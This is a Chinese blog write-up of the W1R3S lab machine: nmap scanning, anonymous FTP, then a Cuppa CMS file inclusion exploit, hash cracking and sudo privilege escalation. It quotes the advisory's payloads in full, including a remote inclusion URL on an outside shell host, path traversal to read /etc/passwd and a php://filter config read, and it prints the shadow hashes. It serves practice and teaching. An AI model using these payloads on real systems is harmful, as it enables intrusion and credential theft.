做陶瓷公司网站,vue做门户网站,做菠菜网站代理犯法吗,好的网站具备文章目录 w1r3s主机发现主机扫描 端口扫描tcp端口扫描UDP扫描漏洞扫描 攻击面分析FTP渗透匿名登录 web渗透目录爆破 cuppa cms文件包含漏洞getshell提权 w1r3s
引言
近些日子看红笔大佬的靶机精讲视频时#xff0c;他的一句话让我感受颇深#xff0c;很多视频在讲解时… 文章目录 w1r3s主机发现主机扫描 端口扫描tcp端口扫描UDP扫描漏洞扫描 攻击面分析FTP渗透匿名登录 web渗透目录爆破 cuppa cms文件包含漏洞getshell提权 w1r3s
引言
近些日子看红笔大佬的靶机精讲视频时他的一句话让我感受颇深很多视频在讲解时直接告诉你应该这么想不应该那么想但是其实在我们自己实战中到底怎么才能辨认出什么信息是有用的我们不应该是去刻意记忆在某个渗透过程中的特定信息而是仔细去分析并在一次次的渗透经历中摸索经验并不断尝试在若干信息中突围
主机发现
先ping一下kali的ip 主机扫描
sudo nmap -sn 192.168.236.0/24用-sn参数root下发送arp请求数据链路层的数据包若果是非root用户则会发送tcp和icmp包。进行轻量级的侦察得到活动的主机ip而不容易引起注意有时候arp请求不会被所有主机响应我们就可以通过icmp时间戳请求来进行主机发现–send-ip
另外顺道一提红队笔记大佬说道不建议在渗透过程中使用kali的root权限还是用普通用户更好需要root的时候sudo即可在进行扫描阶段的许多nmap指令都是需要root权限的因此我就直接用root了大家不要模仿更规范的方式是每次都sudo。
启动靶机前后这个ip是新增的192.168.236.131
由nmap的扫描结果可发现靶机的地址为192.168.200.139 。实际测试过程中应当在靶机上线之前进行一次扫描靶机上线之后再扫描一次对比发现上线的主机更方便确认靶机的ip。下一步即针对这个ip进行端口扫描。
端口扫描
tcp端口扫描
已经拿到靶机的ip了那我们下一步就是用nmap对这个ip进行端口扫描看看开放了哪些端口和服务。命令如下
nmap -sT nmap –min-rate 10000 –p- 192.168.236.131 -oA nmapscan/ports参数说明
默认值-sS
利用tcp协议的SYN标志位来探测目标主机的开放端口发送一个SYN包只建立第一步链接
这里指定-sT
发送完整的tcp三次握手请求准确率更高但流量和速度指标要求较高还能够防止某些主机waf过滤了单个SYN包的情况
nmap –min-rate 10000
10000是一个合理的速率红队行动中会更慢
–p-
-p是默认1000个端口
指定-是扫描所有65535个端口
如果端口太多手动一个一个输不够优雅将开放的端口号提取出来并赋给ports这个变量使用时只需要输入$port然后按下Tab补全
ports$(grep open nmapscan/ports.nmap | awk -F/ {print $1} | paste -sd ,)nmap -sT -sV -sC -O -p21,22,80,3306 192.168.236.131 -oA nmapscan/portdetail参数说明
-sT 指定tcp扫描 发送tcp三次握手
-sV 探测端口服务及版本
-sC 默认脚本目录
-O 探测操作系统
扫描结果 Nmap 7.94 scan initiated Mon Jul 29 11:08:13 2024 as: nmap -sT -sV -sC -O -p21,22,80,3306 -oA nmapscan/portdetail 192.168.236.131
Nmap scan report for 192.168.236.131
Host is up (0.00030s latency).PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs
|_drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.236.128
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)
| 256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)
|_ 256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:4B:A9:49 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (94%), Linux 3.13 - 3.16 (93%), Linux 4.10 (93%), Linux 3.4 - 3.10 (93%), Linux 4.4 (92%), Linux 3.10 (92%), Linux 3.16 - 4.6 (91%), Linux 2.6.32 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 29 11:08:33 2024 -- 1 IP address (1 host up) scanned in 20.10 seconds
UDP扫描
sudo nmap -sU --top-ports 20 192.168.236.131 -oA nmapscan/udp参数说明
-sU 指定udp扫描
–top-ports 20 指定常用默认20个端口
nmap -sU -p21,22,80,3306 192.168.236.131UDP扫描结果如上图结果表明3306端口关闭其他三个端口是开放/被过滤状态
漏洞扫描
nmap -scriptvuln -p21,22,80,3306 192.168.236.131 -oA nmapscan/vuln然后我们再使用nmap中自带的脚本vuln进行漏洞扫描。nmap里面的脚本会对端口的历史常见漏洞进行扫描探测如果这一步就能发现可利用的漏洞对后续的操作会很有启发。 --scriptvuln表示使用脚本vuln进行扫描,vuln是vulnrability的缩写这个脚本也会更新不断加入新的漏洞检测。
攻击面分析 一共有四个端口2122803306。 180端口是http的web端口且已经知道里面可能有wordpress的cms具有较大的攻击面。这应该是最有可能的突破口 222是ssh远程登录端口通常没啥漏洞但是也不绝对有可能存在弱口令或者暴力破解登录啥的但这不是我们直接入手的角度应该放在最后考虑。 321端口是ftp文件传输协议的端口有可能存在匿名登录FTP服务器中也可能有一些信息也有一定的攻击面。FTP的突破口比较单一操作比较容易。 43306端口是MySQL数据库的端口前面漏洞扫描也并没有发现太多的思路不过如果能登录数据库应该也有信息。 综上80端口是最有可能的突破口但是由于FTP可能存在匿名登录21端口的操作比较容易我们不妨先试试21端口再看80端口接着看3306数据库最后尝试22远程登录。 FTP渗透
匿名登录
ftp 192.168.236.131
匿名登录
usernameanonymous
password空成功登陆后将里面的文件都下载
cd content
mget 0*.txt
...cat 02.txt 01ec2d8fc11c493b25029fb1f47f39ce
hash-identifier查询得到是md5再去在线解密 SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg
明文It is easy, but not that easy…
用于解密字符串上下前后翻转的在线网站
Upside Down Text | Flip Text, Type Upside Down, or Backwards Text
ı qoυˎʇ ʇɥıυʞ ʇɥıƨ ıƨ ʇɥǝ ʍɐʎ ʇo ɹooʇ¡
ı boυˎt thıυk thıƨ ıƨ the way to root! 密文
punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
**we have a ןot of work to do‘ stop pןayıng around ** 密文
cat employee-names.txt
拿到公司员工信息用户名职务ascii generator生成ASCII艺术字体
web渗透
直接访问http://192.168.236.131/能看到ubantu操作系统apache搭建服务的默认页这个页面可能隐藏了一些开发人员留下的信息需要我们浏览一遍再审计一下源代码发现没有什么有用的信息进行下一步目录爆破
目录爆破 这里爆出了这几个目录
/wordpress/wp-login.php
/administrator/ - installation/
/javascript
先访问/javascript试试发现无权限进行访问
/wordpress访问后返回本地localhost估计没戏
访问/administrator得到一个installation界面 这里暴露了cms是cuppa这是一个cms框架的安装页面显示了需要的环境版本等信息这里只有一个next交互按键红笔大佬说我们每一步的操作都需要谨慎考虑是否会影响正常服务器的运行操作是否会被上报给管理员在我们对渗透操作进行充分评估后我们选择点击next 填写完信息后点击next提示创建成功但Administrator创建失败 cuppa cms文件包含漏洞getshell
这里不再尝试可能会存在sql注入等漏洞先用searchsploit搜索一下cuppa cms是否有漏洞照理来说只要是有人使用的cms框架就应该会或多或少存在漏洞 这里找到了一个远程文件包含漏洞我们把这个25971.txt下载下来看看怎么利用
searchsploit cuppa -m 25971.txt //-m指mirro镜像拉取25971.txt文件内容
# Exploit Title : Cuppa CMS File Inclusion
# Date : 4 June 2013 //2013年的一个很老的洞
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://www.cuppacms.com/ //官网
# Software Link : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip //软件链接
# Version : Beta
# Tested on : Window and Linux //只要使用了cuppa这个cms对于window和linux机器都适用,--^----------,--------,-----,-------^--,| ||||||||| -------- | O .. CWH Underground Hacking Team ..---------------------------^----------|\_,-------, _________________________|/ XXXXXX /| // XXXXXX / \ // XXXXXX /\______(/ XXXXXX // XXXXXX /(________(------####################################
VULNERABILITY: PHP CODE INJECTION
####################################/alerts/alertConfigField.php (LINE: 22)-----------------------------------------------------------------------------
LINE 22:?php include($_REQUEST[urlConfig]); ?
-----------------------------------------------------------------------------#####################################################
DESCRIPTION //描述
#####################################################An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
攻击者可能包含带有此漏洞的本地或远程PHP文件或读取非PHP文件。在创建将包含在当前文件中的文件名时使用用户污染数据。该文件中的PHP代码将被计算非PHP代码将嵌入到输出中。此漏洞可能导致整个服务器被破坏。http://target/cuppa/alerts/alertConfigField.php?urlConfig[FI]#####################################################
EXPLOIT //漏洞利用
#####################################################http://target/cuppa/alerts/alertConfigField.php?urlConfighttp://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig../../../../../../../../../etc/passwdMoreover, We could access Configuration.php source code via PHPStreamFor Example: //例子
-----------------------------------------------------------------------------
http://target/cuppa/alerts/alertConfigField.php?urlConfigphp://filter/convert.base64-encode/resource../Configuration.php
-----------------------------------------------------------------------------Base64 Encode Output: //base64编码的输出
-----------------------------------------------------------------------------
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8
-----------------------------------------------------------------------------Base64 Decode Output: //base64编码再解码的输出
-----------------------------------------------------------------------------
?phpclass Configuration{public $host localhost;public $db cuppa;public $user root;public $password Dbdmin;public $table_prefix cu_;public $administrator_template default;public $list_limit 25;public $token OBqIPqlFWf3X;public $allowed_extensions *.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx;public $upload_default_path media/uploadsFiles;public $maximum_file_size 5242880;public $secure_login 0;public $secure_login_value ;public $secure_login_redirect ;}
?
-----------------------------------------------------------------------------Able to read sensitive information via File Inclusion (PHP Stream)################################################################################################################Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################ 我们尝试用http://target/cuppa/alerts/alertConfigField.php?urlConfig…/…/…/…/…/…/…/…/…/etc/passwd去访问一下将里面的target换成靶机ip
发现并没有回显
这里只能重新构造一下我们的payload只能去试错
将cuppa根目录改为administrator试一下http://target/administrator/alerts/alertConfigField.php?urlConfig…/…/…/…/…/…/…/…/…/etc/passwd发现网页有反应了 但还是没有有用的信息
这时只能去进行代码审计去cms官方github找到alertConfigField.php
CuppaCMS/alerts/alertConfigField.php at master · CuppaCMS/CuppaCMS · GitHub
进行代码审计发现urlConfig是以post方式接受的 使用curl工具进行发包curl --help all | grep url查看指令帮助 可以看到–data-urlencode 这个参数使用POST传参并url编码
kali执行命令
curl --data-urlencode urlConfig../../../../../../../../etc/passwdhttp://192.168.236.131/administrator/alerts/alertConfigField.php将带有hash值的拿出来用john解密
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::vim shadow.hash 命令行模式的命令 命令 说明 :q! 强制退出vim不保存 :q 退出vim :wq! 强制保存并退出vim :w 文件路径 另存为 :saveas 文件路径 另存为 :x 保存并退出vim :wq 保存并退出vim :set nu 显示行号 :set shiftwidth10 设置缩进为10个字符以此类推输入Esc回到普通模式再次尝试看缩进是否变化 :ce(center) 本行内容居中 :ri(right) 本行内容居右 :le(left) 本行内容居左 破解出来两个账户的密码 尝试ssh连接输入密码
成功登录
id指令看到w1r3s用户是有sudo权限的
提权
看是否能提权sudo -l 输入密码
ALL ALLALL表示这个用户基本就等于root拥有所有权限
直接sudo /bin/bash 启动一个新的bash会话提权成功